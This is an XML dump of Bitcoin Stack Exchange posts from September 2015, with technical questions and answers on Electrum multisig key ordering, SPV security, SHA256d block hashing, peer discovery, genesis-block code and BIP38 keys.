  <row Id="39370" PostTypeId="1" CreationDate="2015-09-03T13:33:38.397" Score="9" ViewCount="2719" Body="&lt;p&gt;Looking to create 2 of 3 multisig addresses with the electrum console with public keys (not the master public keys):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;electrum createmultisig 2 '[&quot;1st public key wallet 1&quot;, &quot;1st public key wallet 2&quot;, &quot;1st public key wallet 3&quot;]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will out put an p2sh address and a redeemScript. The address however only match the first address in an electrum 2 of 3 multisig wallet if public keys are entered in the right order (that has a one in six chance).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum's 2 of 3 multisig wallets have consistent p2sh addresses no matter what order the master public keys are entered. How can createmultisig be used to be consistent with electrum's multisig wallets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The suggested answer is the &lt;code&gt;addmultisigaddress&lt;/code&gt; command from bitcoin-core (as I understand it correctly), thank you for the suggestion. However the question was how to do so with Electrum console (if possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how to (re)create the correct first p2sh address of Electrum's multisig (2 of 3) wallet with master public keys as input, with only the first public keys of each of the master public keys and be consistent with Electrum's multisig (2 of 3) wallet all the time.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit2: An example with actual master public keys and there public keys:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Master public key a: xpub661MyMwAqRbcFRS9DDMPDGhicAnYcsELaWwWSviE3nETgBBW6P6FqXCxDobD9h1BqXbjbMEsXkeXyrLUmxANvBw9hi4jxZKjLDyZk3hK7nT  &#xA;a's first public key a1: 03722ef79a70b43843c642f3495d2b9b8a6403189d52a04ecac652c133f7940fed&#xA;&#xA;Master public key b: xpub661MyMwAqRbcEqNp5KidkrqspVy5HmMTwuQguSa8LSu6WWDdYMMD13appqVrMgAZyc5FKxSnxuTqNoT2j9PYtFtF67MUNBEzifV6vnd5qW2  &#xA;b's first public key b1: 03f9652bfbbfb426eb2011db774c97866e00effdf954cc225807f89b23150dda3a&#xA;&#xA;Master public key c: xpub661MyMwAqRbcEpBbahsh3vPcooVMbEfKAWCx7VNAyGokuShDN2FocJEa7mkcSAkWbkhbewN9TBW9AkoSJPGJoktCXZL98BGTCdZaspiebrA  &#xA;c's first public key c1: 03f5ce19296793c6695bfefd7ead459a3f88ef776d8fc08b470dbc749d266d519f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The electrum's (GUI) option to create a multisig (2 of 3) wallet will take master public key a,b and c in any order and give a wallet with the first p2sh address: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3HRmAEyoBwdHhdntJHFMeR8DxZyCgiaKzV&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Electrum's console command createmultisig will output different p2sh address depending on the order of public keys. Trail and error will get the same p2sh address as the GUI, however my goal is to get the correct address without verifying consistently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;'[&quot;a1&quot;, &quot;b1&quot;, &quot;c1&quot;]'&lt;/code&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;electrum createmultisig 2 -o '[&quot;03722ef79a70b43843c642f3495d2b9b8a6403189d52a04ecac652c133f7940fed&quot;, &quot;03f9652bfbbfb426eb2011db774c97866e00effdf954cc225807f89b23150dda3a&quot;, &quot;03f5ce19296793c6695bfefd7ead459a3f88ef776d8fc08b470dbc749d266d519f&quot;]'&#xA;&#xA;    {&#xA;    &quot;address&quot;: &quot;3EKHKsgn2smYcpeiD6zfR9sgrEp6PrqCTw&quot;, &#xA;    &quot;redeemScript&quot;: &quot;522102ae1359d50bdc7d5b61c3bab9f293fc01cdab3c2b1151a7309fb2e28540d94e842102b0b20cb5e55204f63c016c3df94c3aadaed931370e49bb94097c97dff485032d2103d5196cd7f661deedb3f27fce93095554e72032c7fd26b1ddfaeac8d6f5d56d0553ae&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;'[&quot;a1&quot;, &quot;c1&quot;, &quot;b1&quot;]'&lt;/code&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;electrum createmultisig 2 -o '[&quot;03722ef79a70b43843c642f3495d2b9b8a6403189d52a04ecac652c133f7940fed&quot;, &quot;03f5ce19296793c6695bfefd7ead459a3f88ef776d8fc08b470dbc749d266d519f&quot;, &quot;03f9652bfbbfb426eb2011db774c97866e00effdf954cc225807f89b23150dda3a&quot;]'&#xA;&#xA;{&#xA;    &quot;address&quot;: &quot;3HRmAEyoBwdHhdntJHFMeR8DxZyCgiaKzV&quot;, &#xA;    &quot;redeemScript&quot;: &quot;522103722ef79a70b43843c642f3495d2b9b8a6403189d52a04ecac652c133f7940fed2103f5ce19296793c6695bfefd7ead459a3f88ef776d8fc08b470dbc749d266d519f2103f9652bfbbfb426eb2011db774c97866e00effdf954cc225807f89b23150dda3a53ae&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example I got &quot;lucky&quot; after the 2nd try and get the same p2sh address after 2 tries of the possible 6 permutations. My question however is how to get the correct order of public keys without verifying the GUI multi (2 of 3) wallet?&lt;/p&gt;&#xA;" OwnerUserId="28220" LastEditorUserId="47528" LastEditDate="2018-05-01T19:52:13.973" LastActivityDate="2018-05-01T19:52:13.973" Title="How to create the same (2 of 3) multisig adresses as electrum's multisig wallets with createmultisig?" Tags="|electrum|multi-signature|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39371" PostTypeId="2" ParentId="39366" CreationDate="2015-09-03T14:22:13.320" Score="2" Body="&lt;p&gt;You don't! The SPV client security model depends on miner confirmations for security. From the &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security&quot; rel=&quot;nofollow&quot;&gt;Thin Client Security&lt;/a&gt; page of the Bitcoin Wiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As Satoshi writes, &quot;[the thin client] can't check the transaction for himself, but by linking it to a place in the chain, he can see that a network node has accepted it, and blocks added after it further confirm the network has accepted it.&quot; If we take &quot;X&quot; to be the &quot;number of blocks added after it&quot;, then SPV essentially trusts that a transaction X blocks deep will be costly to forge.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, surprisingly, SPV clients don't even need to run an interpreter for scripts. They just see transactions addressed to them and wait to see if they get confirmed.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-09-03T14:22:13.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39372" PostTypeId="2" ParentId="39368" CreationDate="2015-09-03T14:30:12.753" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki PoW&lt;/a&gt; and tangentially, &lt;a href=&quot;https://en.bitcoin.it/wiki/Hashcash&quot; rel=&quot;nofollow&quot;&gt;HashCash&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SHA256(SHA256(Block_Header)) but you have to be careful about byte-order.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Specifically, &lt;a href=&quot;https://en.bitcoin.it/wiki/Comparison_of_cryptocurrencies&quot; rel=&quot;nofollow&quot;&gt;it is &lt;code&gt;SHA256d&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implementations are often standard libraries, like Python's &lt;code&gt;hashlib&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-09-03T14:30:12.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39373" PostTypeId="2" ParentId="39368" CreationDate="2015-09-03T14:30:28.497" Score="2" Body="&lt;p&gt;Bitcoin uses SHA256d to hash block headers, which is &lt;code&gt;sha256(sha256(x))&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In anticipation of your next question, it uses a double hash to protect against length extension attacks (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4317/why-does-bitcoin-use-two-rounds-of-sha256&quot;&gt;source&lt;/a&gt;). &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-09-03T14:30:28.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39374" PostTypeId="1" CreationDate="2015-09-03T18:40:57.830" Score="1" ViewCount="698" Body="&lt;p&gt;I am new to bit coin and the bread wallet app, so please excuse me if this is a really obvious question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read a lot of information saying that it is vital to use a new address every time I receive a payment. (&lt;a href=&quot;https://en.bitcoin.it/wiki/Address_reuse&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Address_reuse&lt;/a&gt;)&#xA;The bread app presents me with a qr code with my address below it to receive money, but no apparent way to create a new address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something really obvious, or is it ok to use this same qr/address over and over?&lt;/p&gt;&#xA;" OwnerUserId="28228" LastActivityDate="2021-03-10T16:15:53.990" Title="Bread wallet iOS app" Tags="|address|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39375" PostTypeId="2" ParentId="39374" CreationDate="2015-09-03T19:38:30.867" Score="-1" Body="&lt;p&gt;There are no problems with using the same address over and over. I started trading more than a year ago and my 'main'-purse has still the same address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've taken a look for you and I didn't find the possibility to add more addresses. This application can be used for one address at a time only.&lt;/p&gt;&#xA;" OwnerUserId="28229" LastEditorUserId="18196" LastEditDate="2015-09-03T19:47:34.763" LastActivityDate="2015-09-03T19:47:34.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39377" PostTypeId="2" ParentId="39374" CreationDate="2015-09-03T22:05:08.030" Score="0" Body="&lt;p&gt;The reason to use a different address every time is to help obfuscate who transactions are moving between. By itself its not all that useful unless you only use them one time and avoid any kind of pattern (or using the same IP address), but it does make tracking harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The questions is: Do you care? If not, just keep using the same address.&lt;/p&gt;&#xA;" OwnerUserId="20880" LastActivityDate="2015-09-03T22:05:08.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39380" PostTypeId="1" AcceptedAnswerId="40378" CreationDate="2015-09-04T00:55:01.113" Score="7" ViewCount="4009" Body="&lt;p&gt;I am wondering if there is a standard/de facto P2P library/implementation/spec used by Bitcoin Core and other implementations of Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="28219" LastEditorUserId="18196" LastEditDate="2016-03-06T19:40:35.503" LastActivityDate="2019-08-27T09:56:17.657" Title="What is the P2P technology/protocol used by Bitcoin to find nodes and distribute messages across them?" Tags="|protocol|network|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40378" PostTypeId="2" ParentId="39380" CreationDate="2015-09-04T02:00:53.257" Score="9" Body="&lt;p&gt;Bitcoin has its own custom wire protocol using TCP. Peer discovery is by address rumoring, where connected nodes gossip about other potential available peers. When a node is new and has nobody to gossip with, they make a DNS lookup of specific hostnames which provide a number of known-good peers to make an outgoing connection to. If DNS seeds fail and none of the known peers are good, Bitcoin Core nodes fall back to a set of hardcoded peers as a last resort. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-reference#p2p-network&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoin.org/en/developer-reference#p2p-network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcore, BitcoinJ and python-bitcoinlib all have basic implementations of the wire protocol in JavaScript, Java and Python respectively. It is fairly simple to interact with nodes but misbehavior (such as sending invalid data) will cause the remote peer to ban you.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-09-04T02:08:17.727" LastActivityDate="2015-09-04T02:08:17.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40379" PostTypeId="2" ParentId="39374" CreationDate="2015-09-04T02:11:37.810" Score="1" Body="&lt;p&gt;Breadwallet creates a new address every time you use the one displayed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no manual way of creating a new one manually.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-09-04T02:42:35.833" LastActivityDate="2015-09-04T02:42:35.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40380" PostTypeId="1" AcceptedAnswerId="40413" CreationDate="2015-09-04T02:23:07.177" Score="1" ViewCount="107" Body="&lt;p&gt;What is the best way to prove to a title agency that a particular bitcoin transaction has occurred and that the addresses do indeed belong to the parties exchanging the title?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-09-05T18:33:21.883" Title="Proving to a title agency a bitcoin transaction occurred?" Tags="|contracts|proof-of-solvency|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40382" PostTypeId="2" ParentId="39370" CreationDate="2015-09-04T03:39:37.827" Score="7" Body="&lt;p&gt;See &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0045.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP45&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum is ordering the pubkeys lexicographically, ie &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;03722ef79a70b43843c642f3495d2b9b8a6403189d52a04ecac652c133f7940fed&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;03f5ce19296793c6695bfefd7ead459a3f88ef776d8fc08b470dbc749d266d5&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;03f9652bfbbfb426eb2011db774c97866e00effdf954cc225807f89b23150dda3a&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note they're all &lt;code&gt;03&lt;/code&gt;, so it's &lt;code&gt;72=&amp;gt;f5=&amp;gt;f9&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2017-03-09T00:34:47.917" LastActivityDate="2017-03-09T00:34:47.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40383" PostTypeId="1" AcceptedAnswerId="40385" CreationDate="2015-09-04T04:27:14.543" Score="5" ViewCount="1752" Body="&lt;p&gt;How does a bitcoin node protects against connecting to a node with a forged block chain? How does it say: &quot;Ok, I just got this block chain and it is a valid/legit one&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="28219" LastActivityDate="2015-09-04T06:06:30.583" Title="What is the protection against a malicious node with a bad block chain?" Tags="|blockchain|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40384" PostTypeId="1" CreationDate="2015-09-04T04:57:04.487" Score="4" ViewCount="64" Body="&lt;p&gt;I see that there are about 9000 unconfirmed transactions right now and that five of the last six blocks are under 1/2 Mb and 15 blocks in a row under 750 Kb.  This suggests to me that larger block sizes would not help alleviate the backlog of unconfirmed transactions.  For whatever reason (probably low transaction fees), miners are not including a lot available transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I misinterpreting the data?&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2015-09-04T08:46:04.587" Title="Would an increased blocksize lower the stress of the stress tests?" Tags="|transaction-fees|block|unconfirmed-transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40385" PostTypeId="2" ParentId="40383" CreationDate="2015-09-04T06:06:30.583" Score="9" Body="&lt;p&gt;Any chain that's not valid according to the agreed rules of Bitcoin is outright rejected. So any chain that created Bitcoins out of nowhere, spent the same Bitcoins twice, or anything like that is rejected just by testing the chain against those rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the next question is among the many possible valid chains, how do you pick the one to consider authoritative. And the answer is two-fold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You consider valid the chain that would require the most computational work to create.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You don't rely on the results of blocks that are too close to the end of the chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So that means that an attacker who wants to convince you that the wrong chain is valid has to do more computational work than all the Bitcoin miners put together, and must continue to do so until the blocks he's trying to convince you to accept are deep in the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So say you require six confirmations to accept a transaction. An attacker has to produce a chain with six blocks after the block including that transaction that's longer than the chain that doesn't include that transaction. To do so, he'd have to give up the opportunity to mine six blocks (around $35,000) and he'd have to outpace all the Bitcoin miners in the world put together for about an hour.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-09-04T06:06:30.583" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40386" PostTypeId="2" ParentId="36321" CreationDate="2015-09-04T06:22:15.133" Score="0" Body="&lt;p&gt;The Genesis Block and it's related transaction are generated by the Bitcoin Core client using &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.11/src/chainparams.cpp#L56&quot; rel=&quot;nofollow&quot;&gt;this section of code&lt;/a&gt;. I do not know if it is actually stored on disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have it recreated in JSON form on &lt;a href=&quot;https://gist.github.com/drazisil/8f628627cff0d173e9b1&quot; rel=&quot;nofollow&quot;&gt;Github&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Build the genesis block. Note that the output of its generation&#xA; * transaction cannot be spent since it did not originally exist in the&#xA; * database.&#xA; *&#xA; * CBlock(hash=000000000019d6, ver=1, hashPrevBlock=00000000000000, hashMerkleRoot=4a5e1e, nTime=1231006505, nBits=1d00ffff, nNonce=2083236893, vtx=1)&#xA; *   CTransaction(hash=4a5e1e, ver=1, vin.size=1, vout.size=1, nLockTime=0)&#xA; *     CTxIn(COutPoint(000000, -1), coinbase 04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73)&#xA; *     CTxOut(nValue=50.00000000, scriptPubKey=0x5F1DF16B2B704C8A578D0B)&#xA; *   vMerkleTree: 4a5e1e&#xA; */&#xA;const char* pszTimestamp = &quot;The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&quot;;&#xA;CMutableTransaction txNew;&#xA;txNew.vin.resize(1);&#xA;txNew.vout.resize(1);&#xA;txNew.vin[0].scriptSig = CScript() &amp;lt;&amp;lt; 486604799 &amp;lt;&amp;lt; CScriptNum(4) &amp;lt;&amp;lt; vector&amp;lt;unsigned char&amp;gt;((const unsigned char*)pszTimestamp, (const unsigned char*)pszTimestamp + strlen(pszTimestamp));&#xA;txNew.vout[0].nValue = 50 * COIN;&#xA;txNew.vout[0].scriptPubKey = CScript() &amp;lt;&amp;lt; ParseHex(&quot;04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f&quot;) &amp;lt;&amp;lt; OP_CHECKSIG;&#xA;genesis.vtx.push_back(txNew);&#xA;genesis.hashPrevBlock.SetNull();&#xA;genesis.hashMerkleRoot = genesis.BuildMerkleTree();&#xA;genesis.nVersion = 1;&#xA;genesis.nTime    = 1231006505;&#xA;genesis.nBits    = 0x1d00ffff;&#xA;genesis.nNonce   = 2083236893;&#xA;&#xA;consensus.hashGenesisBlock = genesis.GetHash();&#xA;assert(consensus.hashGenesisBlock == uint256S(&quot;0x000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&quot;));&#xA;assert(genesis.hashMerkleRoot == uint256S(&quot;0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14887" LastActivityDate="2015-09-04T06:22:15.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40387" PostTypeId="1" CreationDate="2015-09-04T08:09:42.957" Score="1" ViewCount="129" Body="&lt;p&gt;The proof-of-work solution is simple but has many drawbacks (waste of time, energy and uncertainties about its security in the future).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The consensus solutions proposed by Ripple/Stellar are too complex, and with complexity also comes uncertainty/risk. (See Stellar catastrophic failure!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think are the chances of someone coming with a simpler solution, out of the box, something much more straightforward that no-one has thought about it?&lt;/p&gt;&#xA;" OwnerUserId="28219" LastActivityDate="2015-09-06T22:26:05.350" Title="What are the chances of someone coming up with a new and simple/out-of-the-box solution for the double-spending problem?" Tags="|bitcoin-core|ripple|doublespend|proof-of-work|consensus|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40388" PostTypeId="2" ParentId="40384" CreationDate="2015-09-04T08:46:04.587" Score="4" Body="&lt;p&gt;There's a few things going on here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Saying that there are 9000 unconfirmed transactions is not a particularly good fit for how node memory pools work. Not all pools contain the same transactions, not all nodes have the same rules for what an acceptable transaction is. Operators are free to modify parameters that alter this on a case by case basis, and memory pool contents will not be retained across a restart. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increasing the block size is not a solution to spam transactions on the network. If you keep making the limit higher there is no reason in the world people won't produce transactions to fill the space. Fee prioritization forces spam to have larger fees than other users which limits how much they can create for a particular budget, the price for a user to get above the spam is in the order of a couple of US cents. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Miners don't have to include any transactions at all if they don't want to. Some are paid out of band to include specific transactions in favor of others, some choose to only include fees above a threshold, some refuse to include free transactions at all, some choose to ignore transactions with specific properties. Not including intentionally spammy transactions that bloat the UTXO database is a desirable property, where it would be harmful to all network participants if miners mindlessly included all that have been broadcast. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;Stress test&quot; is a bit of a cover term, the event you are referring to is a denial of service attack. If there was knowledge to be gained it would be happening in a testing environment, not being announced with the intention to disrupt use of the network. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-04T08:46:04.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40389" PostTypeId="1" CreationDate="2015-09-04T09:28:26.020" Score="20" ViewCount="2695" Body="&lt;p&gt;What advantages and disadvantages does Ethereum have over Bitcoin? What can you do with Ethereum that you simply cannot with Bitcoin? What price do you pay for these additional functionalities? &lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2021-03-31T09:59:05.553" Title="What advantages and disadvantages does Ethereum have over Bitcoin?" Tags="|ethereum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40390" PostTypeId="1" AcceptedAnswerId="43528" CreationDate="2015-09-04T13:37:10.107" Score="12" ViewCount="663" Body="&lt;p&gt;It appears that Ethereum will start out with PoW and switch to PoS later. If I remember correctly, the block interval is planned to be fairly short in Ethereum. How does Ethereum manage to achieve consensus?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-03-29T07:39:21.787" Title="How does Ethereum achieve consensus?" Tags="|ethereum|consensus|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40392" PostTypeId="1" CreationDate="2015-09-04T20:18:47.510" Score="2" ViewCount="419" Body="&lt;p&gt;The title says it all. I have a private key that is BIP38 encrypted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6PYVdYvBaMXD7bFNJwMh8DCTxcBQjzyPmqWDQDp2PBKYyFUACph7vzjeaN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to derive the address from just that information?&lt;/p&gt;&#xA;" OwnerUserId="18150" LastActivityDate="2015-09-04T23:24:00.090" Title="Given a Bip38 encoded private key, Can you derive the address without knowing the password?" Tags="|bip38|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40394" PostTypeId="2" ParentId="40392" CreationDate="2015-09-04T22:10:00.830" Score="1" Body="&lt;p&gt;This doesn't appear to be possible from reading the &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0038.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP38 draft specification&lt;/a&gt;. However in this specific case, the key you have posted is a example from the &lt;a href=&quot;https://pypi.python.org/pypi/moneywagon/1.6.0&quot; rel=&quot;nofollow&quot;&gt;moneywagon python module documentation&lt;/a&gt;. The password is &lt;code&gt;123&lt;/code&gt; and the address is &lt;code&gt;1BrUfC75qyLQxxp7qcisfaMmwRMECo4ETC&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-09-04T23:24:00.090" LastActivityDate="2015-09-04T23:24:00.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40396" PostTypeId="1" CreationDate="2015-09-05T00:39:19.277" Score="9" ViewCount="1145" Body="&lt;p&gt;Commits of the UTXO set in the block header would enable more secure lightweight clients and caps on the number of blocks that need to be downloaded and validated in the Initial Blockchain Download, which is vitally important for Bitcoin's longevity and scalability, but I have been told UTXO commits are a very technically challenging change in Bitcoin's design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are main technical challenges in implementation of UTXO commitments, and what are the proposed solutions for them?&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="24925" LastEditDate="2015-09-05T05:39:12.813" LastActivityDate="2016-01-26T17:03:00.250" Title="What are the main technical hurdles to implementing UTXO commitments?" Tags="|utxo|spv|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40397" PostTypeId="1" AcceptedAnswerId="40400" CreationDate="2015-09-05T02:02:32.327" Score="0" ViewCount="528" Body="&lt;p&gt;so basicly im using block io API.&#xA;this is the respond:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;status&quot; : &quot;success&quot;,&#xA;  &quot;data&quot; : {&#xA;    &quot;network&quot; : &quot;BTC&quot;,&#xA;    &quot;forwarding_private_key&quot; : &quot;L1xyqqzeM3V9mX2Cq75gudcD6HV7Vt6FfXzCEjQ5yKTH7wu43yhL&quot;,&#xA;    &quot;forwarding_address&quot; : &quot;12eYNpH7chSAyTMcGCyq1rd93kURQSYHif&quot;,&#xA;    &quot;to_address&quot; : &quot;16GyhGWV4xNEFRKLQ27CGY6epcRMg2mdWm&quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is a JSON right,,??&#xA;now i want to show only forwarding_address to user using javascript or PHP.&#xA;can someone show me how to doit.&lt;/p&gt;&#xA;" OwnerUserId="24647" LastActivityDate="2015-09-05T04:36:01.847" Title="how to make Instant Payment Forwarding" Tags="|payment|php|javascript|" AnswerCount="1" CommentCount="1" ClosedDate="2015-09-10T11:59:44.163" ContentLicense="CC BY-SA 3.0" />
  <row Id="40398" PostTypeId="1" AcceptedAnswerId="40402" CreationDate="2015-09-05T03:16:17.947" Score="7" ViewCount="2240" Body="&lt;p&gt;I am confused about whether a miner chooses to &lt;em&gt;wait for more transactions&lt;/em&gt; (more fees) or starts as soon as it receives the first transaction from the network. Once a miner has started calculating the hashes, it will queue the new transactions, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My confusion is: each miner node will be calculating the hash for a different block. Some will have more transactions than others. Does it matter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am lucky to find the solution for a block with just one transaction, but someone else finds the solution for a block with my transaction and one more, so he wins, correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the more transactions there are in a block the more difficult it is to solve the hashing puzzle, is that correct? If yes, why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone clarify how this transaction grouping is done by mining nodes?&lt;/p&gt;&#xA;" OwnerUserId="28219" LastEditorUserId="18196" LastEditDate="2016-03-06T19:39:58.160" LastActivityDate="2016-03-06T19:39:58.160" Title="When does a miner decide to stop collecting transactions and start calculating hashes to try to win?" Tags="|blockchain|block|mining-technical-details|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
